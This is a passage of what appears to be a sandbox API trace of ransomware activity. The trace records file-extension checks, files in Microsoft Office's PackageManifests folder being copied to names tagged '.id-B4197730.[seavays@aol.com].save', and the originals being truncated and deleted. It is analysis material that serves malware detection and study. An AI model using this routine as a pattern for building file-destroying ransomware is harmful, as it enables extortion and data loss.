-1 [0058.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0058.842] lstrlenW (lpString=".zip") returned 4 [0058.842] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0058.842] lstrlenW (lpString=".rar") returned 4 [0058.842] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0058.842] lstrlenW (lpString=".bz2") returned 4 [0058.842] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0058.842] lstrlenW (lpString=".7z") returned 3 [0058.842] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0058.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0058.843] lstrlenW (lpString=".dbf") returned 4 [0058.843] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0058.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0058.843] lstrlenW (lpString=".1cd") returned 4 [0058.843] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0058.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0058.843] lstrlenW (lpString=".jpg") returned 4 [0058.843] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0058.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0058.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0058.843] lstrlenW (lpString=".doc") returned 4 [0058.843] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0058.843] lstrlenW (lpString=".docx") returned 5 [0058.843] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0058.843] lstrlenW (lpString=".pdf") returned 4 [0058.843] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0058.843] lstrlenW (lpString=".xls") returned 4 [0058.843] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0058.843] lstrlenW (lpString=".xlsx") returned 5 [0058.843] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0058.843] lstrlenW (lpString=".ppt") returned 4 [0058.843] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0058.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0058.843] lstrlenW (lpString=".zip") returned 4 [0058.843] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0058.843] lstrlenW (lpString=".rar") returned 4 [0058.843] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0058.843] lstrlenW (lpString=".bz2") returned 4 [0058.843] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0058.843] lstrlenW (lpString=".7z") returned 3 [0058.843] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0058.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0058.844] lstrlenW (lpString=".dbf") returned 4 [0058.844] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0058.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0058.844] lstrlenW (lpString=".1cd") returned 4 [0058.844] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0058.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0058.844] lstrlenW (lpString=".jpg") returned 4 [0058.844] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0058.844] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0058.844] lstrlenW (lpString="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 53 [0058.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0058.845] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=215883) returned 1 [0058.845] CloseHandle (hObject=0x314) returned 1 [0058.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 0x220 [0058.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0058.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0058.845] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.845] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0060.052] GetLastError () returned 0x0 [0060.052] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x34b4b, lpOverlapped=0x0) returned 1 [0060.059] WriteFile (in: hFile=0x378, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x34b50, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x34b50, lpOverlapped=0x0) returned 1 [0060.063] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.063] WriteFile (in: hFile=0x378, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x13e, lpOverlapped=0x0) returned 1 [0060.063] SetEndOfFile (hFile=0x378) returned 1 [0060.063] CloseHandle (hObject=0x378) returned 1 [0060.069] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.069] SetEndOfFile (hFile=0x314) returned 1 [0060.071] CloseHandle (hObject=0x314) returned 1 [0060.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 1 [0060.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0060.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0060.072] lstrlenW (lpString=".doc") returned 4 [0060.072] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.072] lstrlenW (lpString=".docx") returned 5 [0060.072] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.072] lstrlenW (lpString=".pdf") returned 4 [0060.073] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.073] lstrlenW (lpString=".xls") returned 4 [0060.073] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.073] lstrlenW (lpString=".xlsx") returned 5 [0060.073] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.073] lstrlenW (lpString=".ppt") returned 4 [0060.073] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0060.073] lstrlenW (lpString=".zip") returned 4 [0060.073] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.073] lstrlenW (lpString=".rar") returned 4 [0060.073] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.073] lstrlenW (lpString=".bz2") returned 4 [0060.073] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.073] lstrlenW (lpString=".7z") returned 3 [0060.073] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0060.073] lstrlenW (lpString=".dbf") returned 4 [0060.073] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0060.073] lstrlenW (lpString=".1cd") returned 4 [0060.073] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0060.073] lstrlenW (lpString=".jpg") returned 4 [0060.073] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0060.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0060.073] lstrlenW (lpString=".doc") returned 4 [0060.073] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.073] lstrlenW (lpString=".docx") returned 5 [0060.073] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.073] lstrlenW (lpString=".pdf") returned 4 [0060.073] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.074] lstrlenW (lpString=".xls") returned 4 [0060.074] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.074] lstrlenW (lpString=".xlsx") returned 5 [0060.074] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.074] lstrlenW (lpString=".ppt") returned 4 [0060.074] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0060.074] lstrlenW (lpString=".zip") returned 4 [0060.074] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.074] lstrlenW (lpString=".rar") returned 4 [0060.074] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.074] lstrlenW (lpString=".bz2") returned 4 [0060.074] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.074] lstrlenW (lpString=".7z") returned 3 [0060.074] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0060.074] lstrlenW (lpString=".dbf") returned 4 [0060.074] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0060.074] lstrlenW (lpString=".1cd") returned 4 [0060.074] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0060.074] lstrlenW (lpString=".jpg") returned 4 [0060.074] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.074] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.074] lstrlenW (lpString="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 53 [0060.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0060.075] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1261) returned 1 [0060.075] CloseHandle (hObject=0x2c0) returned 1 [0060.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 0x220 [0060.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0060.076] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.076] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0060.076] GetLastError () returned 0x0 [0060.076] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0060.078] WriteFile (in: hFile=0x314, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0060.079] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.079] WriteFile (in: hFile=0x314, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x13e, lpOverlapped=0x0) returned 1 [0060.079] SetEndOfFile (hFile=0x314) returned 1 [0060.079] CloseHandle (hObject=0x314) returned 1 [0060.080] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.080] SetEndOfFile (hFile=0x2c0) returned 1 [0060.081] CloseHandle (hObject=0x2c0) returned 1 [0060.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 1 [0060.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0060.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0060.082] lstrlenW (lpString=".doc") returned 4 [0060.082] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.082] lstrlenW (lpString=".docx") returned 5 [0060.082] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.082] lstrlenW (lpString=".pdf") returned 4 [0060.082] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.082] lstrlenW (lpString=".xls") returned 4 [0060.082] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.082] lstrlenW (lpString=".xlsx") returned 5 [0060.082] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.082] lstrlenW (lpString=".ppt") returned 4 [0060.082] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0060.082] lstrlenW (lpString=".zip") returned 4 [0060.082] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.082] lstrlenW (lpString=".rar") returned 4 [0060.082] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.082] lstrlenW (lpString=".bz2") returned 4 [0060.082] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.082] lstrlenW (lpString=".7z") returned 3 [0060.082] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0060.082] lstrlenW (lpString=".dbf") returned 4 [0060.082] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0060.082] lstrlenW (lpString=".1cd") returned 4 [0060.082] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0060.083] lstrlenW (lpString=".jpg") returned 4 [0060.083] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0060.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0060.083] lstrlenW (lpString=".doc") returned 4 [0060.083] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.083] lstrlenW (lpString=".docx") returned 5 [0060.083] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.083] lstrlenW (lpString=".pdf") returned 4 [0060.083] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.083] lstrlenW (lpString=".xls") returned 4 [0060.083] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.083] lstrlenW (lpString=".xlsx") returned 5 [0060.083] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.083] lstrlenW (lpString=".ppt") returned 4 [0060.083] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0060.083] lstrlenW (lpString=".zip") returned 4 [0060.083] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.083] lstrlenW (lpString=".rar") returned 4 [0060.083] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.083] lstrlenW (lpString=".bz2") returned 4 [0060.083] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.083] lstrlenW (lpString=".7z") returned 3 [0060.083] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0060.083] lstrlenW (lpString=".dbf") returned 4 [0060.083] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0060.083] lstrlenW (lpString=".1cd") returned 4 [0060.083] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0060.084] lstrlenW (lpString=".jpg") returned 4 [0060.084] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.084] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.084] lstrlenW (lpString="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 53 [0060.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0060.084] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1261) returned 1 [0060.085] CloseHandle (hObject=0x2c0) returned 1 [0060.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 0x220 [0060.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0060.085] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.085] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0060.085] GetLastError () returned 0x0 [0060.085] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0060.087] WriteFile (in: hFile=0x314, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0060.088] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.088] WriteFile (in: hFile=0x314, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x13e, lpOverlapped=0x0) returned 1 [0060.088] SetEndOfFile (hFile=0x314) returned 1 [0060.088] CloseHandle (hObject=0x314) returned 1 [0060.089] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.089] SetEndOfFile (hFile=0x2c0) returned 1 [0060.090] CloseHandle (hObject=0x2c0) returned 1 [0060.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.090] DeleteFileW (lpFileName="C:\\Program 